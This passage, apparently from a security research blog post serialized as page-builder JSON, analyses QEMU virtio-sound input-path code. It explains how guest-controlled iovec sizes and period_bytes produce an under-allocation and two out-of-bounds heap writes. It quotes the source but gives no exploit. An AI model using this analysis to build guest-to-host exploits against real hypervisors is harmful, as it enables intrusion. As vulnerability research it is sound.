populated;\n",{"type":23,"tag":504,"props":126415,"children":126416},{"class":5016,"line":5367},[126417,126421,126425,126430],{"type":23,"tag":504,"props":126418,"children":126419},{"style":5030},[126420],{"type":29,"value":60518},{"type":23,"tag":504,"props":126422,"children":126423},{"style":5058},[126424],{"type":29,"value":17151},{"type":23,"tag":504,"props":126426,"children":126427},{"style":5030},[126428],{"type":29,"value":126429},"[]",{"type":23,"tag":504,"props":126431,"children":126432},{"style":5058},[126433],{"type":29,"value":5061},{"type":23,"tag":504,"props":126435,"children":126436},{"class":5016,"line":5388},[126437],{"type":23,"tag":504,"props":126438,"children":126439},{"style":5058},[126440],{"type":29,"value":18625},{"type":23,"tag":32,"props":126442,"children":126443},{},[126444,126446,126452,126454,126459,126461,126466,126468,126473,126475,126480,126482,126488],{"type":29,"value":126445},"That under-allocation removes the ",{"type":23,"tag":154,"props":126447,"children":126449},{"className":126448},[],[126450],{"type":29,"value":126451},"populated",{"type":29,"value":126453}," field along with the variable-sized ",{"type":23,"tag":154,"props":126455,"children":126457},{"className":126456},[],[126458],{"type":29,"value":5761},{"type":29,"value":126460}," array. As the comment says, ",{"type":23,"tag":154,"props":126462,"children":126464},{"className":126463},[],[126465],{"type":29,"value":126451},{"type":29,"value":126467}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":23,"tag":154,"props":126469,"children":126471},{"className":126470},[],[126472],{"type":29,"value":826},{"type":29,"value":126474},", the device believes data should be ",{"type":23,"tag":154,"props":126476,"children":126478},{"className":126477},[],[126479],{"type":29,"value":826},{"type":29,"value":126481}," byte, while the actual allocation is ",{"type":23,"tag":154,"props":126483,"children":126485},{"className":126484},[],[126486],{"type":29,"value":126487},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":29,"value":357},{"type":23,"tag":20944,"props":126490,"children":126492},{"id":126491},"populating-data-buffers",[126493],{"type":29,"value":126494},"Populating Data Buffers",{"type":23,"tag":32,"props":126496,"children":126497},{},[126498],{"type":29,"value":126499},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":23,"tag":4743,"props":126501,"children":126503},{"code":126502,"language":3110,"meta":7,"className":18562,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[126504],{"type":23,"tag":154,"props":126505,"children":126506},{"__ignoreMap":7},[126507,126514,126522,126529,126537,126545,126552,126601,126608,126634,126651,126663,126670,126702,126747,126787,126794,126802,126809,126834,126862,126886,126894,126906,126944,126957,126969,126976,127022,127059,127102,127123,127143,127163,127174,127181,127204,127220,127228,127235,127242,127249],{"type":23,"tag":504,"props":126508,"children":126509},{"class":5016,"line":5017},[126510],{"type":23,"tag":504,"props":126511,"children":126512},{"style":5021},[126513],{"type":29,"value":51429},{"type":23,"tag":504,"props":126515,"children":126516},{"class":5016,"line":4868},[126517],{"type":23,"tag":504,"props":126518,"children":126519},{"style":5021},[126520],{"type":29,"value":126521}," * AUD_* input callback.\n",{"type":23,"tag":504,"props":126523,"children":126524},{"class":5016,"line":4876},[126525],{"type":23,"tag":504,"props":126526,"children":126527},{"style":5021},[126528],{"type":29,"value":21540},{"type":23,"tag":504,"props":126530,"children":126531},{"class":5016,"line":5099},[126532],{"type":23,"tag":504,"props":126533,"children":126534},{"style":5021},[126535],{"type":29,"value":126536}," * @data: VirtIOSoundPCMStream stream\n",{"type":23,"tag":504,"props":126538,"children":126539},{"class":5016,"line":5203},[126540],{"type":23,"tag":504,"props":126541,"children":126542},{"style":5021},[126543],{"type":29,"value":126544}," * @available: number of bytes that can be read with AUD_read()\n",{"type":23,"tag":504,"props":126546,"children":126547},{"class":5016,"line":5308},[126548],{"type":23,"tag":504,"props":126549,"children":126550},{"style":5021},[126551],{"type":29,"value":125607},{"type":23,"tag":504,"props":126553,"children":126554},{"class":5016,"line":5336},[126555,126559,126563,126568,126572,126576,126580,126584,126588,126592,126597],{"type":23,"tag":504,"props":126556,"children":126557},{"style":5030},[126558],{"type":29,"value":53107},{"type":23,"tag":504,"props":126560,"children":126561},{"style":5030},[126562],{"type":29,"value":53112},{"type":23,"tag":504,"props":126564,"children":126565},{"style":5139},[126566],{"type":29,"value":126567}," virtio_snd_pcm_in_cb",{"type":23,"tag":504,"props":126569,"children":126570},{"style":5058},[126571],{"type":29,"value":603},{"type":23,"tag":504,"props":126573,"children":126574},{"style":5030},[126575],{"type":29,"value":53688},{"type":23,"tag":504,"props":126577,"children":126578},{"style":5047},[126579],{"type":29,"value":11863},{"type":23,"tag":504,"props":126581,"children":126582},{"style":5041},[126583],{"type":29,"value":5761},{"type":23,"tag":504,"props":126585,"children":126586},{"style":5058},[126587],{"type":29,"value":4367},{"type":23,"tag":504,"props":126589,"children":126590},{"style":5030},[126591],{"type":29,"value":21098},{"type":23,"tag":504,"props":126593,"children":126594},{"style":5041},[126595],{"type":29,"value":126596}," available",{"type":23,"tag":504,"props":126598,"children":126599},{"style":5058},[126600],{"type":29,"value":5200},{"type":23,"tag":504,"props":126602,"children":126603},{"class":5016,"line":5349},[126604],{"type":23,"tag":504,"props":126605,"children":126606},{"style":5058},[126607],{"type":29,"value":12926},{"type":23,"tag":504,"props":126609,"children":126610},{"class":5016,"line":5367},[126611,126616,126620,126625,126629],{"type":23,"tag":504,"props":126612,"children":126613},{"style":5058},[126614],{"type":29,"value":126615},"    VirtIOSoundPCMStream ",{"type":23,"tag":504,"props":126617,"children":126618},{"style":5047},[126619],{"type":29,"value":6613},{"type":23,"tag":504,"props":126621,"children":126622},{"style":5058},[126623],{"type":29,"value":126624},"stream ",{"type":23,"tag":504,"props":126626,"children":126627},{"style":5047},[126628],{"type":29,"value":546},{"type":23,"tag":504,"props":126630,"children":126631},{"style":5058},[126632],{"type":29,"value":126633}," data;\n",{"type":23,"tag":504,"props":126635,"children":126636},{"class":5016,"line":5388},[126637,126642,126646],{"type":23,"tag":504,"props":126638,"children":126639},{"style":5058},[126640],{"type":29,"value":126641},"    VirtIOSoundPCMBuffer ",{"type":23,"tag":504,"props":126643,"children":126644},{"style":5047},[126645],{"type":29,"value":6613},{"type":23,"tag":504,"props":126647,"children":126648},{"style":5058},[126649],{"type":29,"value":126650},"buffer;\n",{"type":23,"tag":504,"props":126652,"children":126653},{"class":5016,"line":5397},[126654,126658],{"type":23,"tag":504,"props":126655,"children":126656},{"style":5030},[126657],{"type":29,"value":18612},{"type":23,"tag":504,"props":126659,"children":126660},{"style":5058},[126661],{"type":29,"value":126662}," size, max_size;\n",{"type":23,"tag":504,"props":126664,"children":126665},{"class":5016,"line":5649},[126666],{"type":23,"tag":504,"props":126667,"children":126668},{"emptyLinePlaceholder":15},[126669],{"type":29,"value":5734},{"type":23,"tag":504,"props":126671,"children":126672},{"class":5016,"line":5666},[126673,126678,126682,126686,126690,126694,126698],{"type":23,"tag":504,"props":126674,"children":126675},{"style":5139},[126676],{"type":29,"value":126677},"    WITH_QEMU_LOCK_GUARD",{"type":23,"tag":504,"props":126679,"children":126680},{"style":5058},[126681],{"type":29,"value":603},{"type":23,"tag":504,"props":126683,"children":126684},{"style":5047},[126685],{"type":29,"value":5151},{"type":23,"tag":504,"props":126687,"children":126688},{"style":5041},[126689],{"type":29,"value":38318},{"type":23,"tag":504,"props":126691,"children":126692},{"style":5058},[126693],{"type":29,"value":15803},{"type":23,"tag":504,"props":126695,"children":126696},{"style":5041},[126697],{"type":29,"value":125854},{"type":23,"tag":504,"props":126699,"children":126700},{"style":5058},[126701],{"type":29,"value":16850},{"type":23,"tag":504,"props":126703,"children":126704},{"class":5016,"line":5683},[126705,126710,126714,126718,126723,126727,126731,126735,126739,126743],{"type":23,"tag":504,"props":126706,"children":126707},{"style":5067},[126708],{"type":29,"value":126709},"        while",{"type":23,"tag":504,"props":126711,"children":126712},{"style":5058},[126713],{"type":29,"value":5110},{"type":23,"tag":504,"props":126715,"children":126716},{"style":5047},[126717],{"type":29,"value":22674},{"type":23,"tag":504,"props":126719,"children":126720},{"style":5139},[126721],{"type":29,"value":126722},"QSIMPLEQ_EMPTY",{"type":23,"tag":504,"props":126724,"children":126725},{"style":5058},[126726],{"type":29,"value":603},{"type":23,"tag":504,"props":126728,"children":126729},{"style":5047},[126730],{"type":29,"value":5151},{"type":23,"tag":504,"props":126732,"children":126733},{"style":5041},[126734],{"type":29,"value":38318},{"type":23,"tag":504,"props":126736,"children":126737},{"style":5058},[126738],{"type":29,"value":15803},{"type":23,"tag":504,"props":126740,"children":126741},{"style":5041},[126742],{"type":29,"value":126107},{"type":23,"tag":504,"props":126744,"children":126745},{"style":5058},[126746],{"type":29,"value":37250},{"type":23,"tag":504,"props":126748,"children":126749},{"class":5016,"line":5696},[126750,126754,126758,126763,126767,126771,126775,126779,126783],{"type":23,"tag":504,"props":126751,"children":126752},{"style":5058},[126753],{"type":29,"value":125943},{"type":23,"tag":504,"props":126755,"children":126756},{"style":5047},[126757],{"type":29,"value":546},{"type":23,"tag":504,"props":126759,"children":126760},{"style":5139},[126761],{"type":29,"value":126762}," QSIMPLEQ_FIRST",{"type":23,"tag":504,"props":126764,"children":126765},{"style":5058},[126766],{"type":29,"value":603},{"type":23,"tag":504,"props":126768,"children":126769},{"style":5047},[126770],{"type":29,"value":5151},{"type":23,"tag":504,"props":126772,"children":126773},{"style":5041},[126774],{"type":29,"value":38318},{"type":23,"tag":504,"props":126776,"children":126777},{"style":5058},[126778],{"type":29,"value":15803},{"type":23,"tag":504,"props":126780,"children":126781},{"style":5041},[126782],{"type":29,"value":126107},{"type":23,"tag":504,"props":126784,"children":126785},{"style":5058},[126786],{"type":29,"value":5888},{"type":23,"tag":504,"props":126788,"children":126789},{"class":5016,"line":5705},[126790],{"type":23,"tag":504,"props":126791,"children":126792},{"emptyLinePlaceholder":15},[126793],{"type":29,"value":5734},{"type":23,"tag":504,"props":126795,"children":126796},{"class":5016,"line":5728},[126797],{"type":23,"tag":504,"props":126798,"children":126799},{"style":5058},[126800],{"type":29,"value":126801},"            [...]\n",{"type":23,"tag":504,"props":126803,"children":126804},{"class":5016,"line":5737},[126805],{"type":23,"tag":504,"props":126806,"children":126807},{"emptyLinePlaceholder":15},[126808],{"type":29,"value":5734},{"type":23,"tag":504,"props":126810,"children":126811},{"class":5016,"line":5746},[126812,126817,126821,126825,126829],{"type":23,"tag":504,"props":126813,"children":126814},{"style":5058},[126815],{"type":29,"value":126816},"            max_size ",{"type":23,"tag":504,"props":126818,"children":126819},{"style":5047},[126820],{"type":29,"value":546},{"type":23,"tag":504,"props":126822,"children":126823},{"style":5139},[126824],{"type":29,"value":125875},{"type":23,"tag":504,"props":126826,"children":126827},{"style":5058},[126828],{"type":29,"value":603},{"type":23,"tag":504,"props":126830,"children":126831},{"style":5021},[126832],{"type":29,"value":126833},"                    // [1]\n",{"type":23,"tag":504,"props":126835,"children":126836},{"class":5016,"line":5813},[126837,126842,126846,126850,126854,126858],{"type":23,"tag":504,"props":126838,"children":126839},{"style":5041},[126840],{"type":29,"value":126841},"                buffer",{"type":23,"tag":504,"props":126843,"children":126844},{"style":5058},[126845],{"type":29,"value":15803},{"type":23,"tag":504,"props":126847,"children":126848},{"style":5041},[126849],{"type":29,"value":54125},{"type":23,"tag":504,"props":126851,"children":126852},{"style":5058},[126853],{"type":29,"value":15803},{"type":23,"tag":504,"props":126855,"children":126856},{"style":5041},[126857],{"type":29,"value":125892},{"type":23,"tag":504,"props":126859,"children":126860},{"style":5058},[126861],{"type":29,"value":5557},{"type":23,"tag":504,"props":126863,"children":126864},{"class":5016,"line":5821},[126865,126869,126873,126877,126881],{"type":23,"tag":504,"props":126866,"children":126867},{"style":5041},[126868],{"type":29,"value":126841},{"type":23,"tag":504,"props":126870,"children":126871},{"style":5058},[126872],{"type":29,"value":15803},{"type":23,"tag":504,"props":126874,"children":126875},{"style":5041},[126876],{"type":29,"value":54125},{"type":23,"tag":504,"props":126878,"children":126879},{"style":5058},[126880],{"type":29,"value":15803},{"type":23,"tag":504,"props":126882,"children":126883},{"style":5041},[126884],{"type":29,"value":126885},"in_num\n",{"type":23,"tag":504,"props":126887,"children":126888},{"class":5016,"line":5851},[126889],{"type":23,"tag":504,"props":126890,"children":126891},{"style":5058},[126892],{"type":29,"value":126893},"            );\n",{"type":23,"tag":504,"props":126895,"children":126896},{"class":5016,"line":5859},[126897,126902],{"type":23,"tag":504,"props":126898,"children":126899},{"style":5067},[126900],{"type":29,"value":126901},"            for",{"type":23,"tag":504,"props":126903,"children":126904},{"style":5058},[126905],{"type":29,"value":125705},{"type":23,"tag":504,"props":126907,"children":126908},{"class":5016,"line":5891},[126909,126913,126917,126922,126926,126930,126934,126939],{"type":23,"tag":504,"props":126910,"children":126911},{"style":5067},[126912],{"type":29,"value":105299},{"type":23,"tag":504,"props":126914,"children":126915},{"style":5058},[126916],{"type":29,"value":5110},{"type":23,"tag":504,"props":126918,"children":126919},{"style":5041},[126920],{"type":29,"value":126921},"buffer",{"type":23,"tag":504,"props":126923,"children":126924},{"style":5058},[126925],{"type":29,"value":15803},{"type":23,"tag":504,"props":126927,"children":126928},{"style":5041},[126929],{"type":29,"value":126039},{"type":23,"tag":504,"props":126931,"children":126932},{"style":5047},[126933],{"type":29,"value":10347},{"type":23,"tag":504,"props":126935,"children":126936},{"style":5058},[126937],{"type":29,"value":126938}," max_size) {",{"type":23,"tag":504,"props":126940,"children":126941},{"style":5021},[126942],{"type":29,"value":126943},"     // [2]\n",{"type":23,"tag":504,"props":126945,"children":126946},{"class":5016,"line":5899},[126947,126952],{"type":23,"tag":504,"props":126948,"children":126949},{"style":5139},[126950],{"type":29,"value":126951},"                    return_rx_buffer",{"type":23,"tag":504,"props":126953,"children":126954},{"style":5058},[126955],{"type":29,"value":126956},"(stream, buffer);\n",{"type":23,"tag":504,"props":126958,"children":126959},{"class":5016,"line":5959},[126960,126965],{"type":23,"tag":504,"props":126961,"children":126962},{"style":5067},[126963],{"type":29,"value":126964},"                    break",{"type":23,"tag":504,"props":126966,"children":126967},{"style":5058},[126968],{"type":29,"value":5061},{"type":23,"tag":504,"props":126970,"children":126971},{"class":5016,"line":11093},[126972],{"type":23,"tag":504,"props":126973,"children":126974},{"style":5058},[126975],{"type":29,"value":73134},{"type":23,"tag":504,"props":126977,"children":126978},{"class":5016,"line":11111},[126979,126984,126988,126993,126997,127001,127005,127010,127014,127018],{"type":23,"tag":504,"props":126980,"children":126981},{"style":5058},[126982],{"type":29,"value":126983},"                size ",{"type":23,"tag":504,"props":126985,"children":126986},{"style":5047},[126987],{"type":29,"value":546},{"type":23,"tag":504,"props":126989,"children":126990},{"style":5139},[126991],{"type":29,"value":126992}," AUD_read",{"type":23,"tag":504,"props":126994,"children":126995},{"style":5058},[126996],{"type":29,"value":603},{"type":23,"tag":504,"props":126998,"children":126999},{"style":5041},[127000],{"type":29,"value":38318},{"type":23,"tag":504,"props":127002,"children":127003},{"style":5058},[127004],{"type":29,"value":15803},{"type":23,"tag":504,"props":127006,"children":127007},{"style":5041},[127008],{"type":29,"value":127009},"voice",{"type":23,"tag":504,"props":127011,"children":127012},{"style":5058},[127013],{"type":29,"value":357},{"type":23,"tag":504,"props":127015,"children":127016},{"style":5041},[127017],{"type":29,"value":3121},{"type":23,"tag":504,"props":127019,"children":127020},{"style":5058},[127021],{"type":29,"value":5557},{"type":23,"tag":504,"props":127023,"children":127024},{"class":5016,"line":11156},[127025,127030,127034,127038,127042,127047,127051,127055],{"type":23,"tag":504,"props":127026,"children":127027},{"style":5041},[127028],{"type":29,"value":127029},"                        buffer",{"type":23,"tag":504,"props":127031,"children":127032},{"style":5058},[127033],{"type":29,"value":15803},{"type":23,"tag":504,"props":127035,"children":127036},{"style":5041},[127037],{"type":29,"value":5761},{"type":23,"tag":504,"props":127039,"children":127040},{"style":5047},[127041],{"type":29,"value":10950},{"type":23,"tag":504,"props":127043,"children":127044},{"style":5041},[127045],{"type":29,"value":127046}," buffer",{"type":23,"tag":504,"props":127048,"children":127049},{"style":5058},[127050],{"type":29,"value":15803},{"type":23,"tag":504,"props":127052,"children":127053},{"style":5041},[127054],{"type":29,"value":126039},{"type":23,"tag":504,"props":127056,"children":127057},{"style":5058},[127058],{"type":29,"value":5557},{"type":23,"tag":504,"props":127060,"children":127061},{"class":5016,"line":11262},[127062,127067,127072,127076,127080,127084,127088,127093,127097],{"type":23,"tag":504,"props":127063,"children":127064},{"style":5139},[127065],{"type":29,"value":127066},"                        MIN",{"type":23,"tag":504,"props":127068,"children":127069},{"style":5058},[127070],{"type":29,"value":127071},"(available, (",{"type":23,"tag":504,"props":127073,"children":127074},{"style":5041},[127075],{"type":29,"value":38318},{"type":23,"tag":504,"props":127077,"children":127078},{"style":5058},[127079],{"type":29,"value":15803},{"type":23,"tag":504,"props":127081,"children":127082},{"style":5041},[127083],{"type":29,"value":100061},{"type":23,"tag":504,"props":127085,"children":127086},{"style":5058},[127087],{"type":29,"value":357},{"type":23,"tag":504,"props":127089,"children":127090},{"style":5041},[127091],{"type":29,"value":127092},"period_bytes",{"type":23,"tag":504,"props":127094,"children":127095},{"style":5047},[127096],{"type":29,"value":53317},{"type":23,"tag":504,"props":127098,"children":127099},{"style":5021},[127100],{"type":29,"value":127101},"     // [3]\n",{"type":23,"tag":504,"props":127103,"children":127104},{"class":5016,"line":25550},[127105,127110,127114,127118],{"type":23,"tag":504,"props":127106,"children":127107},{"style":5041},[127108],{"type":29,"value":127109},"                                        buffer",{"type":23,"tag":504,"props":127111,"children":127112},{"style":5058},[127113],{"type":29,"value":15803},{"type":23,"tag":504,"props":127115,"children":127116},{"style":5041},[127117],{"type":29,"value":126039},{"type":23,"tag":504,"props":127119,"children":127120},{"style":5058},[127121],{"type":29,"value":127122},")));\n",{"type":23,"tag":504,"props":127124,"children":127125},{"class":5016,"line":25585},[127126,127130,127134,127138],{"type":23,"tag":504,"props":127127,"children":127128},{"style":5067},[127129],{"type":29,"value":105299},{"type":23,"tag":504,"props":127131,"children":127132},{"style":5058},[127133],{"type":29,"value":5110},{"type":23,"tag":504,"props":127135,"children":127136},{"style":5047},[127137],{"type":29,"value":22674},{"type":23,"tag":504,"props":127139,"children":127140},{"style":5058},[127141],{"type":29,"value":127142},"size) {\n",{"type":23,"tag":504,"props":127144,"children":127145},{"class":5016,"line":25593},[127146,127151,127155,127159],{"type":23,"tag":504,"props":127147,"children":127148},{"style":5058},[127149],{"type":29,"value":127150},"                    available ",{"type":23,"tag":504,"props":127152,"children":127153},{"style":5047},[127154],{"type":29,"value":546},{"type":23,"tag":504,"props":127156,"children":127157},{"style":5083},[127158],{"type":29,"value":5086},{"type":23,"tag":504,"props":127160,"children":127161},{"style":5058},[127162],{"type":29,"value":5061},{"type":23,"tag":504,"props":127164,"children":127165},{"class":5016,"line":25601},[127166,127170],{"type":23,"tag":504,"props":127167,"children":127168},{"style":5067},[127169],{"type":29,"value":126964},{"type":23,"tag":504,"props":127171,"children":127172},{"style":5058},[127173],{"type":29,"value":5061},{"type":23,"tag":504,"props":127175,"children":127176},{"class":5016,"line":25610},[127177],{"type":23,"tag":504,"props":127178,"children":127179},{"style":5058},[127180],{"type":29,"value":73134},{"type":23,"tag":504,"props":127182,"children":127183},{"class":5016,"line":25652},[127184,127188,127192,127196,127200],{"type":23,"tag":504,"props":127185,"children":127186},{"style":5041},[127187],{"type":29,"value":126841},{"type":23,"tag":504,"props":127189,"children":127190},{"style":5058},[127191],{"type":29,"value":15803},{"type":23,"tag":504,"props":127193,"children":127194},{"style":5041},[127195],{"type":29,"value":126039},{"type":23,"tag":504,"props":127197,"children":127198},{"style":5047},[127199],{"type":29,"value":17111},{"type":23,"tag":504,"props":127201,"children":127202},{"style":5058},[127203],{"type":29,"value":126381},{"type":23,"tag":504,"props":127205,"children":127206},{"class":5016,"line":25685},[127207,127212,127216],{"type":23,"tag":504,"props":127208,"children":127209},{"style":5058},[127210],{"type":29,"value":127211},"                available ",{"type":23,"tag":504,"props":127213,"children":127214},{"style":5047},[127215],{"type":29,"value":105764},{"type":23,"tag":504,"props":127217,"children":127218},{"style":5058},[127219],{"type":29,"value":126381},{"type":23,"tag":504,"props":127221,"children":127222},{"class":5016,"line":25693},[127223],{"type":23,"tag":504,"props":127224,"children":127225},{"style":5058},[127226],{"type":29,"value":127227},"                [...]\n",{"type":23,"tag":504,"props":127229,"children":127230},{"class":5016,"line":25701},[127231],{"type":23,"tag":504,"props":127232,"children":127233},{"style":5058},[127234],{"type":29,"value":60946},{"type":23,"tag":504,"props":127236,"children":127237},{"class":5016,"line":25710},[127238],{"type":23,"tag":504,"props":127239,"children":127240},{"style":5058},[127241],{"type":29,"value":5394},{"type":23,"tag":504,"props":127243,"children":127244},{"class":5016,"line":25786},[127245],{"type":23,"tag":504,"props":127246,"children":127247},{"style":5058},[127248],{"type":29,"value":5403},{"type":23,"tag":504,"props":127250,"children":127251},{"class":5016,"line":25819},[127252],{"type":23,"tag":504,"props":127253,"children":127254},{"style":5058},[127255],{"type":29,"value":5965},{"type":23,"tag":32,"props":127257,"children":127258},{},[127259,127260,127265,127266,127272,127274,127280,127282,127287,127288,127293,127295,127300],{"type":29,"value":126161},{"type":23,"tag":154,"props":127261,"children":127263},{"className":127262},[],[127264],{"type":29,"value":126167},{"type":29,"value":4367},{"type":23,"tag":154,"props":127267,"children":127269},{"className":127268},[],[127270],{"type":29,"value":127271},"max_size",{"type":29,"value":127273}," is set to ",{"type":23,"tag":154,"props":127275,"children":127277},{"className":127276},[],[127278],{"type":29,"value":127279},"iov_size(in_sg, in_num)",{"type":29,"value":127281},". Both ",{"type":23,"tag":154,"props":127283,"children":127285},{"className":127284},[],[127286],{"type":29,"value":125892},{"type":29,"value":4478},{"type":23,"tag":154,"props":127289,"children":127291},{"className":127290},[],[127292],{"type":29,"value":125909},{"type":29,"value":127294}," are the same guest-controlled fields from ",{"type":23,"tag":154,"props":127296,"children":127298},{"className":127297},[],[127299],{"type":29,"value":125544},{"type":29,"value":357},{"type":23,"tag":32,"props":127302,"children":127303},{},[127304,127306,127311,127313,127319,127321,127327,127329,127335],{"type":29,"value":127305},"Later, at ",{"type":23,"tag":154,"props":127307,"children":127309},{"className":127308},[],[127310],{"type":29,"value":126202},{"type":29,"value":127312},", the code checks whether ",{"type":23,"tag":154,"props":127314,"children":127316},{"className":127315},[],[127317],{"type":29,"value":127318},"buffer->size >= max_size",{"type":29,"value":127320},". In the RX path, ",{"type":23,"tag":154,"props":127322,"children":127324},{"className":127323},[],[127325],{"type":29,"value":127326},"buffer->size",{"type":29,"value":127328}," tracks how many bytes have been written into ",{"type":23,"tag":154,"props":127330,"children":127332},{"className":127331},[],[127333],{"type":29,"value":127334},"buffer->data",{"type":29,"value":127336},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":23,"tag":32,"props":127338,"children":127339},{},[127340,127342,127347,127349,127355,127357,127362,127364,127370],{"type":29,"value":127341},"However, this does not match the allocation logic in ",{"type":23,"tag":154,"props":127343,"children":127345},{"className":127344},[],[127346],{"type":29,"value":125544},{"type":29,"value":127348},", which used: ",{"type":23,"tag":154,"props":127350,"children":127352},{"className":127351},[],[127353],{"type":29,"value":127354},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":29,"value":127356},". In other words, the allocation subtracts ",{"type":23,"tag":154,"props":127358,"children":127360},{"className":127359},[],[127361],{"type":29,"value":126268},{"type":29,"value":127363},", but the later bound in ",{"type":23,"tag":154,"props":127365,"children":127367},{"className":127366},[],[127368],{"type":29,"value":127369},"virtio_snd_pcm_in_cb",{"type":29,"value":127371}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":23,"tag":32,"props":127373,"children":127374},{},[127375,127377,127382,127384,127390,127392,127398,127400,127405,127407,127413,127415,127421,127423,127428,127430,127435],{"type":29,"value":127376},"Finally, at ",{"type":23,"tag":154,"props":127378,"children":127380},{"className":127379},[],[127381],{"type":29,"value":126226},{"type":29,"value":127383},", the code calls ",{"type":23,"tag":154,"props":127385,"children":127387},{"className":127386},[],[127388],{"type":29,"value":127389},"AUD_read",{"type":29,"value":127391}," with the following limit:\n",{"type":23,"tag":154,"props":127393,"children":127395},{"className":127394},[],[127396],{"type":29,"value":127397},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":29,"value":127399},". Notice how this bound does not take ",{"type":23,"tag":154,"props":127401,"children":127403},{"className":127402},[],[127404],{"type":29,"value":127271},{"type":29,"value":127406}," into account at all. That means if ",{"type":23,"tag":154,"props":127408,"children":127410},{"className":127409},[],[127411],{"type":29,"value":127412},"available",{"type":29,"value":127414}," is larger than the allocated buffer, and ",{"type":23,"tag":154,"props":127416,"children":127418},{"className":127417},[],[127419],{"type":29,"value":127420},"stream->params.period_bytes",{"type":29,"value":127422}," is also larger than the allocated buffer, ",{"type":23,"tag":154,"props":127424,"children":127426},{"className":127425},[],[127427],{"type":29,"value":127389},{"type":29,"value":127429}," will write past the end of ",{"type":23,"tag":154,"props":127431,"children":127433},{"className":127432},[],[127434],{"type":29,"value":127334},{"type":29,"value":127436}," - the third, and final, bug we found.",{"type":23,"tag":32,"props":127438,"children":127439},{},[127440,127442,127447,127449,127455],{"type":29,"value":127441},"Looking further at the code, we can see that ",{"type":23,"tag":154,"props":127443,"children":127445},{"className":127444},[],[127446],{"type":29,"value":127420},{"type":29,"value":127448}," is fully guest-controlled by issuing a ",{"type":23,"tag":154,"props":127450,"children":127452},{"className":127451},[],[127453],{"type":29,"value":127454},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":29,"value":127456}," request:",{"type":23,"tag":4743,"props":127458,"children":127460},{"code":127459,"language":3110,"meta":7,"className":18562,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[127461],{"type":23,"tag":154,"props":127462,"children":127463},{"__ignoreMap":7},[127464,127472,127501,127518,127538,127545,127562,127569,127576,127583,127605,127612,127619,127626,127672,127715,127759,127767,127804,127840,127876,127883,127900],{"type":23,"tag":504,"props":127465,"children":127466},{"class":5016,"line":5017},[127467],{"type":23,"tag":504,"props":127468,"children":127469},{"style":5030},[127470],{"type":29,"value":127471},"static\n",{"type":23,"tag":504,"props":127473,"children":127474},{"class":5016,"line":4868},[127475,127479,127484,127489,127493,127497],{"type":23,"tag":504,"props":127476,"children":127477},{"style":5030},[127478],{"type":29,"value":59994},{"type":23,"tag":504,"props":127480,"children":127481},{"style":5139},[127482],{"type":29,"value":127483}," virtio_snd_set_pcm_params",{"type":23,"tag":504,"props":127485,"children":127486},{"style":5058},[127487],{"type":29,"value":127488},"(VirtIOSound ",{"type":23,"tag":504,"props":127490,"children":127491},{"style":5047},[127492],{"type":29,"value":6613},{"type":23,"tag":504,"props":127494,"children":127495},{"style":5041},[127496],{"type":29,"value":662},{"type":23,"tag":504,"props":127498,"children":127499},{"style":5058},[127500],{"type":29,"value":5557},{"type":23,"tag":504,"props":127502,"children":127503},{"class":5016,"line":4876},[127504,127509,127514],{"type":23,"tag":504,"props":127505,"children":127506},{"style":5030},[127507],{"type":29,"value":127508},"                                   uint32_t",{"type":23,"tag":504,"props":127510,"children":127511},{"style":5041},[127512],{"type":29,"value":127513}," stream_id",{"type":23,"tag":504,"props":127515,"children":127516},{"style":5058},[127517],{"type":29,"value":5557},{"type":23,"tag":504,"props":127519,"children":127520},{"class":5016,"line":5099},[127521,127526,127530,127534],{"type":23,"tag":504,"props":127522,"children":127523},{"style":5058},[127524],{"type":29,"value":127525},"                                   virtio_snd_pcm_set_params ",{"type":23,"tag":504,"props":127527,"children":127528},{"style":5047},[127529],{"type":29,"value":6613},{"type":23,"tag":504,"props":127531,"children":127532},{"style":5041},[127533],{"type":29,"value":100061},{"type":23,"tag":504,"props":127535,"children":127536},{"style":5058},[127537],{"type":29,"value":5200},{"type":23,"tag":504,"props":127539,"children":127540},{"class":5016,"line":5203},[127541],{"type":23,"tag":504,"props":127542,"children":127543},{"style":5058},[127544],{"type":29,"value":12926},{"type":23,"tag":504,"props":127546,"children":127547},{"class":5016,"line":5308},[127548,127553,127557],{"type":23,"tag":504,"props":127549,"children":127550},{"style":5058},[127551],{"type":29,"value":127552},"    virtio_snd_pcm_set_params 